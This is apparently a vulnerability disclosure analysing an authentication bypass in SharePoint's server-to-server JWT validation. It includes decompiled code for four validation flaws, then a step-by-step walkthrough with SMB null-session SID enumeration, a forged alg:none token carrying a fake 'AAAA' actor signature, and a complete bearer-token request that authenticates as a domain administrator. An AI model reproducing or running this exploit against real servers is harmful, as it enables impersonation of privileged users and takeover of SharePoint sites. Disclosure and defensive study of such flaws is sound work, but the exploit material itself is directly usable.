SharePoint’s S2S authentication uses a nested JWT structure: an outer token containing user identity claims, and an inner “actor token” embedded in the actortoken claim. The actor token represents the calling application and is expected to be cryptographically signed by a trusted certificate.

The validation flow begins in SPApplicationAuthenticationModuleV2.TryExtractAndValidateToken(), which extracts the Bearer token from the Authorization header, parses it via SPJsonWebSecurityBaseTokenHandlerV2.ReadToken(), and then validates it via SPJsonWebSecurityTokenHandlerV2.ValidateToken(). The debugger call stack below shows the call stack at the time of calling ValidateToken.

Microsoft.SharePoint.IdentityModel.dll!Microsoft.SharePoint.IdentityModel.SPJsonWebSecurityTokenHandlerV2.ValidateToken(System.IdentityModel.Tokens.SecurityToken token) (IL=0x01BC, Native=0x00007FFC730AA430+0x4A2)
 	Microsoft.SharePoint.IdentityModel.dll!Microsoft.SharePoint.IdentityModel.SPApplicationAuthenticationModuleV2.TryExtractAndValidateToken(System.Web.HttpContext httpContext, out Microsoft.SharePoint.IdentityModel.SPIncomingTokenContextV2 tokenContext, out Microsoft.SharePoint.IdentityModel.SPIdentityProofToken identityProofToken) (IL=???, Native=0x00007FFC730A2A70+0x9FB)
 	Microsoft.SharePoint.IdentityModel.dll!Microsoft.SharePoint.IdentityModel.SPApplicationAuthenticationModuleV2.ConstructIClaimsPrincipalAndSetThreadIdentity(System.Web.HttpApplication httpApplication, System.Web.HttpContext httpContext, Microsoft.SharePoint.IdentityModel.SPFederationAuthenticationModuleV2 fam, out string tokenType) (IL≈0x0041, Native=0x00007FFC730A1860+0xB2)
 	Microsoft.SharePoint.IdentityModel.dll!Microsoft.SharePoint.IdentityModel.SPApplicationAuthenticationModuleV2.AuthenticateRequest(object sender, System.EventArgs e) (IL≈0x0139, Native=0x00007FFC7196F9D0+0x3E4)
 	System.Web.dll!System.Web.HttpApplication.SyncEventExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute() (IL=0x005D, Native=0x00007FFC71846AE0+0xD1)
 	System.Web.dll!System.Web.HttpApplication.ExecuteStepImpl(System.Web.HttpApplication.IExecutionStep step) (IL=epilog, Native=0x00007FFC71846A00+0xB6)
 	System.Web.dll!System.Web.HttpApplication.ExecuteStep(System.Web.HttpApplication.IExecutionStep step, ref bool completedSynchronously) (IL≈0x0015, Native=0x00007FFC71846640+0x5E)
 	System.Web.dll!System.Web.HttpApplication.PipelineStepManager.ResumeSteps(System.Exception error) (IL≈0x027A, Native=0x00007FFC71842E00+0x77A)
 	System.Web.dll!System.Web.HttpApplication.BeginProcessRequestNotification(System.Web.HttpContext context, System.AsyncCallback cb) (IL=0x0031, Native=0x00007FFC71842D50+0x83)
 	System.Web.dll!System.Web.HttpRuntime.ProcessRequestNotificationPrivate(System.Web.Hosting.IIS7WorkerRequest wr, System.Web.HttpContext context) (IL≈0x00B0, Native=0x00007FFC7183C7A0+0x1D3)
 	System.Web.dll!System.Web.Hosting.PipelineRuntime.ProcessRequestNotificationHelper(System.IntPtr rootedObjectsPointer, System.IntPtr nativeRequestContext, System.IntPtr moduleData, int flags) (IL≈0x0131, Native=0x00007FFC7183A4E0+0x41A)
 	System.Web.dll!System.Web.Hosting.PipelineRuntime.ProcessRequestNotification(System.IntPtr rootedObjectsPointer, System.IntPtr nativeRequestContext, System.IntPtr moduleData, int flags) (IL≈0x0000, Native=0x00007FFC7183A070+0x13)
 	[Managed to Native Transition]
 	System.Web.dll!System.Web.Hosting.PipelineRuntime.ProcessRequestNotificationHelper(System.IntPtr rootedObjectsPointer, System.IntPtr nativeRequestContext, System.IntPtr moduleData, int flags) (IL≈0x01E7, Native=0x00007FFC7183A4E0+0x4C1)
 	System.Web.dll!System.Web.Hosting.PipelineRuntime.ProcessRequestNotification(System.IntPtr rootedObjectsPointer, System.IntPtr nativeRequestContext, System.IntPtr moduleData, int flags) (IL≈0x0000, Native=0x00007FFC7183A070+0x13)
 	[Appdomain Transition]

Weakness 1: RequireSignedTokens disabled

The first and most fundamental weakness is in SPJsonWebSecurityTokenHandlerV2.ValidateToken(). When constructing the TokenValidationParameters for the underlying Microsoft.IdentityModel JWT library, the code explicitly disables signature requirements:

// SPJsonWebSecurityTokenHandlerV2.cs - ValidateToken() - Line 212
val.RequireSignedTokens = false;

This single line disables the JWT library’s cryptographic signature verification. When RequireSignedTokens is false, the library accepts tokens with alg: none in the header, meaning no signature is required on the outer token at all. The library still parses the JWT and populates claims, but never performs any cryptographic verification of the outer token.

The full context of the method:

// SPJsonWebSecurityTokenHandlerV2.cs - Lines 165-223
public override ReadOnlyCollection<ClaimsIdentity> ValidateToken(SecurityToken token)
{
    // ...
    TokenValidationParameters val = new TokenValidationParameters();
    val.CertificateValidator = ((SecurityTokenHandler)(object)this).Configuration.CertificateValidator;
    val.SaveSigninToken = ((SecurityTokenHandler)(object)this).Configuration.SaveBootstrapContext;
    val.ValidateAudience = false; // <--- [1]
    val.ValidateIssuer = false; // <--- [2]
    List<X509SecurityKey> list = new List<X509SecurityKey>();
    // ... populates list with trusted signing keys ...
    val.IssuerSigningKeys = (IEnumerable<SecurityKey>)list;
    val.RequireSignedTokens = false; // <--- [3]
    // ...
    SecurityToken securityToken = default(SecurityToken);
    return new ReadOnlyCollection<ClaimsIdentity>(
        ((JwtSecurityTokenHandler)this).ValidateToken(
            ((JwtSecurityToken)sPJwtSecurityToken).RawData, val, ref securityToken
        ).Identities.ToList()
    );
}

At [1] and [2], the built-in audience and issuer validation from the JWT library are also disabled, SharePoint implements its own validation logic in separate methods. At [3], the critical RequireSignedTokens = false is set. The resulting call to the base JwtSecurityTokenHandler.ValidateToken() processes the JWT without verifying any cryptographic signature.

Weakness 2: Actor token x5t resolution without signature verification

After ReadToken() parses the JWT, SharePoint’s custom validation code resolves the actor token’s signing key using the x5t (X.509 certificate thumbprint) header. This occurs in SPJsonWebSecurityBaseTokenHandlerV2:

// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 92-103
SecurityKeyIdentifier signingKeyIdentifier = GetSigningKeyIdentifier(sPJwtSecurityToken.ActorToken); // <--- [1]
((SecurityTokenHandler)this).Configuration.IssuerTokenResolver.TryResolveToken(
    signingKeyIdentifier, out var token2); // <--- [2]
if (token2 != null)
{
    ((JwtSecurityToken)sPJwtSecurityToken.ActorToken).SigningToken = token2; // <--- [3]
}

At [1], the call to GetSigningKeyIdentifier extracts the x5t value directly from the actor token’s JWT header:

// SPJsonWebSecurityBaseTokenHandlerV2.cs - GetSigningKeyIdentifier - Lines 135-160
private SecurityKeyIdentifier GetSigningKeyIdentifier(SPJwtSecurityToken jwtToken)
{
    JwtHeader header = ((JwtSecurityToken)jwtToken).Header;
    // ...
    if (string.Equals(header.Alg, "RS256"))
    {
        if (!((Dictionary<string, object>)(object)header).TryGetValue("x5t", out object value))
        {
            throw new SecurityTokenException("Invalid JWT token. Not able to find SigningKeyIdentifier...");
        }
        securityKeyIdentifierClause = new X509ThumbprintKeyIdentifierClause(
            SPBase64UrlEncoder.DecodeBytes(value as string)); // <--- attacker-controlled x5t
    }
    // ...
}

At [2], the call to SPIssuerTokenResolver.TryResolveTokenCore searches all trusted certificates, including SharePoint’s own local Security Token Service (STS) signing certificate, for a thumbprint match:

// SPIssuerTokenResolver.cs - TryResolveTokenCore - Lines 118-142
protected override bool TryResolveTokenCore(SecurityKeyIdentifierClause keyIdentifierClause, out SecurityToken token)
{
    // ... searches TrustedLoginProviders, TrustedSecurityTokenServices ...
    if (TryResolveTokenCoreWithAccessProvider(local.LocalLoginProvider, keyIdentifierClause, out token)) // <--- [4]
    {
        return true;
    }
    return false;
}

At [4], the resolver checks the LocalLoginProvider access provider, SharePoint’s own STS signing certificate, whose x509 certificate can be retrieved via the unauthenticated /_layouts/15/metadata/json/1 endpoint. If an attacker sets the actor token’s x5t header to the thumbprint of SharePoint’s STS certificate, the resolver finds a match and returns an X509SecurityToken wrapping that certificate. At [3], this token is assigned to the actor token’s SigningToken property.

At no point in this flow is the actor token’s signature (In our example we use the string AAAA as a signature in a forged token) cryptographically verified against the resolved signing key. The code resolves the key from x5t, populates SigningToken, but never calls any signature verification function.

Weakness 3: Issuer validation accepts unregistered certificates

After setting the actor token’s SigningToken, the code proceeds to call ValidateIssuer(token). For a token that contains an actor token SigningToken value (which we just achieved above), the logic in ValidateIssuer takes the below path:

// SPJsonWebSecurityBaseTokenHandlerV2.cs - ValidateIssuer(SPJwtSecurityToken) - Lines 745-750
if (token.ActorToken != null && ((JwtSecurityToken)token.ActorToken).SigningToken != null)
{
    ULS.SendTraceTag(573368525u, ..., "Validating the actor token's signing token.");
    ValidateIssuer(((JwtSecurityToken)token.ActorToken).SigningToken as X509SecurityToken,
                   ((JwtSecurityToken)token.ActorToken).Issuer);
    return;
}

This calls the ValidateIssuer(X509SecurityToken, string) overload which accepts tokens signed by unregistered certificates:

// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 788-812
private void ValidateIssuer(X509SecurityToken signingKey, string tokenIssuer)
{
    // ...
    SPTrustedSecurityTokenService providerBySigningCertificate =
        SPSecurityTokenServiceManager.LocalOrThrow.TrustedSecurityTokenServices
            .GetProviderBySigningCertificate(signingKey.Certificate, tokenIssuer); // <--- [1]

    if (null == providerBySigningCertificate) // <--- [2]
    {
        ULS.SendTraceTag(594416645u, ..., "ValidateTokenIssuer accepted Issuer '{0}' because " +
            "no registered STS matches the signing certificate '{1}'",
            tokenIssuer, signingKey.Certificate.Subject);
        return; // <--- ACCEPTED
    }
    if (SPTrustedProviderBase.IssuerNameMatches(tokenIssuer, providerBySigningCertificate.RegisteredIssuerName))
    {
        return;
    }
    throw new SecurityTokenException("Issuer name is not registered"); // <--- REJECTED
}

At [1] above, the code searches the TrustedSecurityTokenServices collection for a provider whose signing certificate matches. SharePoint’s local STS signing certificate belongs to the LocalLoginProvider access provider, which is not in the TrustedSecurityTokenServices collection. Therefore, GetProviderBySigningCertificate returns null.

At [2], when the result is null, the method accepts the issuer unconditionally and returns to the caller instead of throwing a SecurityTokenException exception.

The intent appears to be accepting tokens from certificates not explicitly registered, but the effect is that an attacker who references SharePoint’s own STS certificate via x5t passes issuer validation because that certificate is not found in the specific TrustedSecurityTokenServices collection being searched.

Weakness 4: GetTokenSignature non-cryptographic check

The final validation step involves GetTokenSignature, which is called during session token construction. This method requires a non-empty signature but performs no cryptographic verification:

// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 879-920
public static string GetTokenSignature(SPJwtSecurityToken jwtToken)
{
	SPArgumentHelperV2.LogAndThrowOnNull(TaggingUtilities.ReserveTag(591196938u), ULSCat.msoulscat_WSS_SecurityTokenHandler, "jwtToken", jwtToken);
	string rawData = ((JwtSecurityToken)jwtToken).RawData;
	if (string.IsNullOrWhiteSpace(rawData) && string.IsNullOrWhiteSpace(((JwtSecurityToken)jwtToken).RawSignature))
	{
		ULS.SendTraceTag(591196937u, ULSCat.msoulscat_WSS_SecurityTokenHandler, ULSTraceLevel.Unexpected, "The SPJwtSecurityToken doesn't have a signature.");
		throw new InvalidOperationException(SPResource.GetString(CultureInfo.InvariantCulture, "NullBootstrapToken"));
	}
	string text = ((JwtSecurityToken)jwtToken).RawSignature;
	if (string.IsNullOrWhiteSpace(text))
	{
		text = rawData.Substring(rawData.LastIndexOf('.') + 1); // <--- [1]
	}
	if (string.IsNullOrWhiteSpace(text))
	{
		if (jwtToken.ActorToken != null)
		{
			text = GetTokenSignature(jwtToken.ActorToken); // <--- [2]
			StringBuilder stringBuilder = new StringBuilder();
			stringBuilder.Append(jwtToken.Audience);
			stringBuilder.Append(',');
			stringBuilder.Append(((System.IdentityModel.Tokens.SecurityToken)(object)jwtToken).ValidFrom.ToFileTimeUtc());
			stringBuilder.Append(',');
			stringBuilder.Append(((System.IdentityModel.Tokens.SecurityToken)(object)jwtToken).ValidTo.ToFileTimeUtc());
			stringBuilder.Append(',');
			foreach (Claim claim in ((JwtSecurityToken)jwtToken).Claims)
			{
				stringBuilder.Append(claim.Value);
				stringBuilder.Append(',');
			}
			return stringBuilder?.ToString() + text; // <--- [3]
		}
		ULS.SendTraceTag(573368524u, Category, ULSTraceLevel.Unexpected, "SPJsonWebSecurityBaseTokenHandlerV2: ActorToken doesn't have a signature.");
		throw new InvalidOperationException(SPResource.GetString(CultureInfo.InvariantCulture, "NullBootstrapToken"));
	}
	return text;
}

For the outer token with alg: none, RawSignature is empty (the JWT format is header.payload. with nothing after the final dot). At [1], extracting after the last dot yields an empty string. At [2], the method recurses into the actor token. The actor token’s signature is AAAA, a non-empty string, so at [3] it returns “AAAA” without any cryptographic verification that this value is a valid RSA signature.

Summary

The four weaknesses combine as follows:

  1. Attacker sends a JWT with alg: none in the outer header, so no signature is required in the outer token.

  2. The actor token’s x5t header contains SharePoint’s own STS certificate thumbprint, allowing us to resolve a signing key with no verification.

  3. The resolved certificate is not in TrustedSecurityTokenServices, allowing the issuer to be accepted.

  4. The actor token’s signature is a non-empty value, e.g. AAAA, which is never verified.

After validation, the outer token’s nameid claim, containing either an attacker controlled Windows Security Identifier (SID) or an attacker controlled User Principal Name (UPN), is resolved to a user identity via SPIncomingServerToServerProtocolIdentityHandlerV2.ValidateAndEnsureIdentity(). Alternatively a name id of 0#.w|nt authority\local service can be used to identify as a known local service, through an AccessToken identifier. Our testing showed identifying as a local service exposed less authenticated attack service than identifying via either a SID or UPN.

Our PoC script shows examples of all three mechanisms working.

Walkthrough

We can see a concrete example of the bypass in action by inspecting the HTTP requests required to achieve the authentication bypass.

In order to know the x5t value to use in the inner actortoken token, we must first retrieve the x509 certificate of the STS signing certificate from the target SharePoint site. We can do this via an unauthenticated request to the /_layouts/15/metadata/json/1 URI. For example:

GET /_layouts/15/metadata/json/1 HTTP/1.1
Host: 192.168.86.11
User-Agent: curl/7.81.0
Accept: */*

Which returns the STS signing certificate as part of the response:

HTTP/1.1 200 OK
Cache-Control: private
Transfer-Encoding: chunked
Content-Type: application/json; charset=utf-8
Server: Microsoft-IIS/10.0
X-SharePointHealthScore: 0
X-AspNet-Version: 4.0.30319
SPRequestGuid: e01a0ca2-7b83-e0bd-6d28-7d5115ac774c
request-id: e01a0ca2-7b83-e0bd-6d28-7d5115ac774c
X-FRAME-OPTIONS: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com *.teams.microsoft.com *.skype.com *.teams.microsoft.us local.teams.office.com *.powerapps.com *.yammer.com *.officeapps.live.com *.office.com *.stream.azure-test.net *.microsoftstream.com *.dynamics.com *.microsoft.com onedrive.live.com *.onedrive.live.com;
X-Powered-By: ASP.NET
MicrosoftSharePointTeamServices: 16.0.0.19725
X-Content-Type-Options: nosniff
X-MS-InvokeApp: 1; RequireReadOnly
Date: Tue, 21 Apr 2026 10:06:12 GMT

{"issuer":"00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde","keys":[{"keyValue":{"type":"x509certificate","value":"MIIEhzCCAm+gAwIBAgIQbgEQC4zI97pMh7WkdsMmtTANBgkqhkiG9w0BAQsFADBaMQswCQYDVQQGEwJVUzESMBAGA1UEChMJTWljcm9zb2Z0MRMwEQYDVQQLEwpTaGFyZVBvaW50MSIwIAYDVQQDExlTaGFyZVBvaW50IFJvb3QgQXV0aG9yaXR5MCAXDTI2MDMxMTIwMjY1M1oYDzk5OTkwMTAxMDAwMDAwWjBiMQswCQYDVQQGEwJVUzESMBAGA1UEChMJTWljcm9zb2Z0MRMwEQYDVQQLEwpTaGFyZVBvaW50MSowKAYDVQQDEyFTaGFyZVBvaW50IFNlY3VyaXR5IFRva2VuIFNlcnZpY2UwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDY8RNv0VUdgmBubMAHYBI8nu1pWUwUDJywDIwKxgoLuu26Wd6tTMnk5Fb7kYVT+gw+wdW80DeOU\/9lAySKat+FESEuwoUKbJP1Kk6vbuvWyYofz91i9oCXXzqAR1AwNsMGr1nAszVRbPaTrcidomvT2DzQ4YBW2IGtDJEpXIcSrN4T5B4bNH+2rXk11vZHG7c31Y\/VuAwybLGndwSYoiT8aTOgnHsEB9jqZjipkinwnowhk1d6LsPawm6X+y8z7SqkVgMdqKVB5gAMECUedv0qGd2+AW\/2j8Dbk3NNW3XddCBye2wQP0GeioQjcveDK4U0n+3qJjOwG0Y4\/7Jex\/IVAgMBAAGjPzA9MA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH\/BAIwADANBgkqhkiG9w0BAQsFAAOCAgEAPXw7TdU6U9ij28uirUm4oQk6Qtdx42G8JNkz44oF4s1ifaODLKqgXCViHRo0bJj3KAz1aSWUdld\/wrOw99tbxPme9sd8ilHN61fKjUPzl7NMyA85895FnA5J62sKcPjmusDHD1WjSYA+y47L\/I3qlUCL9nOPhqjHN4bEQYJV7c9X+9lmnK1QBmqtjQ+Dy8tie6B9XKvSZgb8clVc7pXeG3k4eqNqi8AtgLoW6UmT\/7tXzqotC9oyBmeA3Ucaj99HJ\/4zBN7cOjIL78xNYds8DIVEqGqZFL30uOvJnEecAmtHbMg5yX2oO0p11PSM+JVIiC7gWClfaZ0Ta0tLG5VdmX0wfzmxS+jBEFqvFUA3BFuClQeamKdvIBE7cFXG\/MujpCboiLP0qdZUhGUduFiy94vH0oxKQFZVLT62T4cNbMu0WGGOY67N8p9UKzUvLVis0FnR1nQvy4SJSdt4kBzUUA42z70v\/ACpzHLXsETil+MnGbTXMfEGVzl+s2+9Su4OpTtDe8AIMdDPoH8uaHklLF65FUPKa+aHGlTB9VPyYySC++PCIPIra\/uxjb21V+GBPU8YgbFsOiCNF36AcGakskieghg97EBHumzQuoPnnvCkkRr2\/xU59Yxw01eS42pfVNeJlXDGKwEtAiN1Fwkay2Ji7dq\/wXtFy5OsVBlerec="},"usage":"Signing"}],"name":"00000003-0000-0ff1-ce00-000000000000","serviceName":"00000003-0000-0ff1-ce00-000000000000"}

For completeness, the parsed x509 certificate is shown below.

Version:          3 (0x02)
Serial number:    146220597266833583330723281767636346549 (0x6e01100b8cc8f7ba4c87b5a476c326b5)
Algorithm ID:     SHA256withRSA
Validity
  Not Before:     11/03/2026 20:26:53 (dd-mm-yyyy hh:mm:ss) (260311202653Z)
  Not After:      01/01/9999 00:00:00 (dd-mm-yyyy hh:mm:ss) (99990101000000Z)
Issuer
  C  = US
  O  = Microsoft
  OU = SharePoint
  CN = SharePoint Root Authority
Subject
  C  = US
  O  = Microsoft
  OU = SharePoint
  CN = SharePoint Security Token Service
Fingerprints
  MD5:            8c72ddcf6fdf2bdf3cc173bfcff88bf4
  SHA1:           8bf833e6a7d8a7960f5802b5fffd188599e2a4b2
  SHA256:         9d8a6b787ca17ba72b44200d20d689fae33d13fb57fb166563d11e98d247068c
Public Key
  Algorithm:      RSA
  Length:         2048 bits
  Modulus:        d8:f1:13:6f:d1:55:1d:82:60:6e:6c:c0:07:60:12:3c:
                  9e:ed:69:59:4c:14:0c:9c:b0:0c:8c:0a:c6:0a:0b:ba:
                  ed:ba:59:de:ad:4c:c9:e4:e4:56:fb:91:85:53:fa:0c:
                  3e:c1:d5:bc:d0:37:8e:53:ff:65:03:24:8a:6a:df:85:
                  11:21:2e:c2:85:0a:6c:93:f5:2a:4e:af:6e:eb:d6:c9:
                  8a:1f:cf:dd:62:f6:80:97:5f:3a:80:47:50:30:36:c3:
                  06:af:59:c0:b3:35:51:6c:f6:93:ad:c8:9d:a2:6b:d3:
                  d8:3c:d0:e1:80:56:d8:81:ad:0c:91:29:5c:87:12:ac:
                  de:13:e4:1e:1b:34:7f:b6:ad:79:35:d6:f6:47:1b:b7:
                  37:d5:8f:d5:b8:0c:32:6c:b1:a7:77:04:98:a2:24:fc:
                  69:33:a0:9c:7b:04:07:d8:ea:66:38:a9:92:29:f0:9e:
                  8c:21:93:57:7a:2e:c3:da:c2:6e:97:fb:2f:33:ed:2a:
                  a4:56:03:1d:a8:a5:41:e6:00:0c:10:25:1e:76:fd:2a:
                  19:dd:be:01:6f:f6:8f:c0:db:93:73:4d:5b:75:dd:74:
                  20:72:7b:6c:10:3f:41:9e:8a:84:23:72:f7:83:2b:85:
                  34:9f:ed:ea:26:33:b0:1b:46:38:ff:b2:5e:c7:f2:15
  Exponent:       65537 (0x10001)
Certificate Signature
  Algorithm:      SHA256withRSA
  Signature:      3d:7c:3b:4d:d5:3a:53:d8:a3:db:cb:a2:ad:49:b8:a1:
                  09:3a:42:d7:71:e3:61:bc:24:d9:33:e3:8a:05:e2:cd:
                  62:7d:a3:83:2c:aa:a0:5c:25:62:1d:1a:34:6c:98:f7:
                  28:0c:f5:69:25:94:76:57:7f:c2:b3:b0:f7:db:5b:c4:
                  f9:9e:f6:c7:7c:8a:51:cd:eb:57:ca:8d:43:f3:97:b3:
                  4c:c8:0f:39:f3:de:45:9c:0e:49:eb:6b:0a:70:f8:e6:
                  ba:c0:c7:0f:55:a3:49:80:3e:cb:8e:cb:fc:8d:ea:95:
                  40:8b:f6:73:8f:86:a8:c7:37:86:c4:41:82:55:ed:cf:
                  57:fb:d9:66:9c:ad:50:06:6a:ad:8d:0f:83:cb:cb:62:
                  7b:a0:7d:5c:ab:d2:66:06:fc:72:55:5c:ee:95:de:1b:
                  79:38:7a:a3:6a:8b:c0:2d:80:ba:16:e9:49:93:ff:bb:
                  57:ce:aa:2d:0b:da:32:06:67:80:dd:47:1a:8f:df:47:
                  27:fe:33:04:de:dc:3a:32:0b:ef:cc:4d:61:db:3c:0c:
                  85:44:a8:6a:99:14:bd:f4:b8:eb:c9:9c:47:9c:02:6b:
                  47:6c:c8:39:c9:7d:a8:3b:4a:75:d4:f4:8c:f8:95:48:
                  88:2e:e0:58:29:5f:69:9d:13:6b:4b:4b:1b:95:5d:99:
                  7d:30:7f:39:b1:4b:e8:c1:10:5a:af:15:40:37:04:5b:
                  82:95:07:9a:98:a7:6f:20:11:3b:70:55:c6:fc:cb:a3:
                  a4:26:e8:88:b3:f4:a9:d6:54:84:65:1d:b8:58:b2:f7:
                  8b:c7:d2:8c:4a:40:56:55:2d:3e:b6:4f:87:0d:6c:cb:
                  b4:58:61:8e:63:ae:cd:f2:9f:54:2b:35:2f:2d:58:ac:
                  d0:59:d1:d6:74:2f:cb:84:89:49:db:78:90:1c:d4:50:
                  0e:36:cf:bd:2f:fc:00:a9:cc:72:d7:b0:44:e2:97:e3:
                  27:19:b4:d7:31:f1:06:57:39:7e:b3:6f:bd:4a:ee:0e:
                  a5:3b:43:7b:c0:08:31:d0:cf:a0:7f:2e:68:79:25:2c:
                  5e:b9:15:43:ca:6b:e6:87:1a:54:c1:f5:53:f2:63:24:
                  82:fb:e3:c2:20:f2:2b:6b:fb:b1:8d:bd:b5:57:e1:81:
                  3d:4f:18:81:b1:6c:3a:20:8d:17:7e:80:70:66:a4:b2:
                  48:9e:82:18:3d:ec:40:47:ba:6c:d0:ba:83:e7:9e:f0:
                  a4:91:1a:f6:ff:15:39:f5:8c:70:d3:57:92:e3:6a:5f:
                  54:d7:89:95:70:c6:2b:01:2d:02:23:75:17:09:1a:cb:
                  62:62:ed:da:bf:c1:7b:45:cb:93:ac:54:19:5e:ad:e7

Extensions
  keyUsage CRITICAL:
    digitalSignature,keyEncipherment
  extKeyUsage :
    serverAuth, clientAuth
  basicConstraints CRITICAL:
    {}

Using the above x509 certificate, we can compute the x5t by base64 decoding the entire x509 certificate, computing the SHA1 digest value, then base64 encoding that raw digest value. In our example we get an x5t value of i_gz5qfYp5YPWAK1__0YhZnipLI. We can also see we discover the target realm (af90cc03-4a26-45e9-906a-609cebcebbde) which we will use later in the forged JWT.

We then begin to construct the malicious JWT. The outer token will have a header of:

{"alg": "none", "typ": "JWT"}

The payload is shown below. The audience (aud) claim contains the target systems hostname (win-b0i6kv698ls) and realm. The issuer (iss) claim is 00000003-0000-0ff1-ce00-000000000000 which is the well known SharePoint principal application ID. The Name ID (nameid) represent the SharePoint user we will identify as, in our example we use a SID of S-1-5-21-4203888158-2793536450-3921675298-500 which represent the domain admin that we want to authenticate as using the urn:office:idp:activedirectory identity provider. Finally an inner actortoken token is base64 encoded.

As an aside, we discover the target SID to use by first contacting the target SharePoint servers domain controller over SMB. We can use an SMB NULL session to query the LSARPC named pipe and learn the domain’s Domain ID value. Then by appending Relative Identifier (RID) values (e.g. 500, 1000, 1001, 1002, …) to the Domain ID, we can construct potential user SIDs to authenticate as. By repeating this process we iterate over all users and discover which ones are valid site user administrators. It is worth pointing out that the forged JWT does not solely require a Windows SID, and we can also identify a user via a User Principal Name (UPN), e.g. [email protected] or similar. However, discovering a valid SID is more reliable in an automated scenario (assuming you can access the domain controller) than brute forcing potential UPN’s, which is best suited to manual reconnaissance.

{
  "aud": "00000003-0000-0ff1-ce00-000000000000/win-b0i6kv698ls@af90cc03-4a26-45e9-906a-609cebcebbde",
  "iss": "00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde",
  "nbf": 1776765672,
  "exp": 1776769572,
  "nameid": "S-1-5-21-4203888158-2793536450-3921675298-500",
  "nii": "urn:office:idp:activedirectory",
  "trustedfordelegation": "true",
  "actortoken": "eyJhbGciOiAiUlMyNTYiLCAidHlwIjogIkpXVCIsICJ4NXQiOiAiaV9nejVxZllwNVlQV0FLMV9fMFloWm5pcExJIn0.eyJpc3MiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwQGFmOTBjYzAzLTRhMjYtNDVlOS05MDZhLTYwOWNlYmNlYmJkZSIsICJuYW1laWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwQGFmOTBjYzAzLTRhMjYtNDVlOS05MDZhLTYwOWNlYmNlYmJkZSIsICJuYmYiOiAxNzc2NzY1NjcyLCAiZXhwIjogMTc3Njc2OTU3Mn0.AAAA"
}

Inspecting the inner actortoken token, it will have a header as shown below, which includes the x5t value i_gz5qfYp5YPWAK1__0YhZnipLI corresponding to the SharePoint server’s STS signing certificate.

{"alg": "RS256", "typ": "JWT", "x5t": "i_gz5qfYp5YPWAK1__0YhZnipLI"}

The inner actortoken token will have a payload as shown below. Note the nameid of this token is the same as the issuer of the STS certificate, this allows a call to SPJsonWebSecurityBaseTokenHandlerV2.ValidateActorIsSelfIssuer to succeed.

{
  "iss": "00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde",
  "nameid": "00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde",
  "nbf": 1776765672,
  "exp": 1776769572
}

And a signature which is an arbitrary non-empty string:

AAAA

Constructing the above JWT, we can base64 encode it as a bearer token and make a request to an authenticated endpoint, such as /_api/web/currentuser and prove we are authenticating as a SharePoint user.

GET /_api/web/currentuser HTTP/1.1
Host: win-b0i6kv698ls
User-Agent: curl/7.81.0
Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJhdWQiOiAiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwL3dpbi1iMGk2a3Y2OThsc0BhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAiaXNzIjogIjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEBhZjkwY2MwMy00YTI2LTQ1ZTktOTA2YS02MDljZWJjZWJiZGUiLCAibmJmIjogMTc3Njc2NTY3MiwgImV4cCI6IDE3NzY3Njk1NzIsICJuYW1laWQiOiAiUy0xLTUtMjEtNDIwMzg4ODE1OC0yNzkzNTM2NDUwLTM5MjE2NzUyOTgtNTAwIiwgIm5paSI6ICJ1cm46b2ZmaWNlOmlkcDphY3RpdmVkaXJlY3RvcnkiLCAidHJ1c3RlZGZvcmRlbGVnYXRpb24iOiAidHJ1ZSIsICJhY3RvcnRva2VuIjogImV5SmhiR2NpT2lBaVVsTXlOVFlpTENBaWRIbHdJam9nSWtwWFZDSXNJQ0o0TlhRaU9pQWlhVjluZWpWeFpsbHdOVmxRVjBGTE1WOWZNRmxvV201cGNFeEpJbjAuZXlKcGMzTWlPaUFpTURBd01EQXdNRE10TURBd01DMHdabVl4TFdObE1EQXRNREF3TURBd01EQXdNREF3UUdGbU9UQmpZekF6TFRSaE1qWXRORFZsT1MwNU1EWmhMVFl3T1dObFltTmxZbUprWlNJc0lDSnVZVzFsYVdRaU9pQWlNREF3TURBd01ETXRNREF3TUMwd1ptWXhMV05sTURBdE1EQXdNREF3TURBd01EQXdRR0ZtT1RCall6QXpMVFJoTWpZdE5EVmxPUzA1TURaaExUWXdPV05sWW1ObFltSmtaU0lzSUNKdVltWWlPaUF4TnpjMk56WTFOamN5TENBaVpYaHdJam9nTVRjM05qYzJPVFUzTW4wLkFBQUEifQ.
Accept: application/json;odata=verbose

The following response shows this has worked, and the user we identified as is in fact a SharePoint site administrator (The returned IsSiteAdmin value is true).

HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Transfer-Encoding: chunked
Content-Type: application/json;odata=verbose;charset=utf-8
Expires: Mon, 06 Apr 2026 10:06:12 GMT
Last-Modified: Tue, 21 Apr 2026 10:06:12 GMT
Server: Microsoft-IIS/10.0
X-SharePointHealthScore: 0
X-SP-SERVERSTATE: ReadOnly=0
DATASERVICEVERSION: 3.0
SPClientServiceRequestDuration: 12
SPRequestDuration: 83
X-AspNet-Version: 4.0.30319
SPRequestGuid: e01a0ca2-0b92-e0bd-6d28-7b843e6bda5c
request-id: e01a0ca2-0b92-e0bd-6d28-7b843e6bda5c
X-FRAME-OPTIONS: SAMEORIGIN
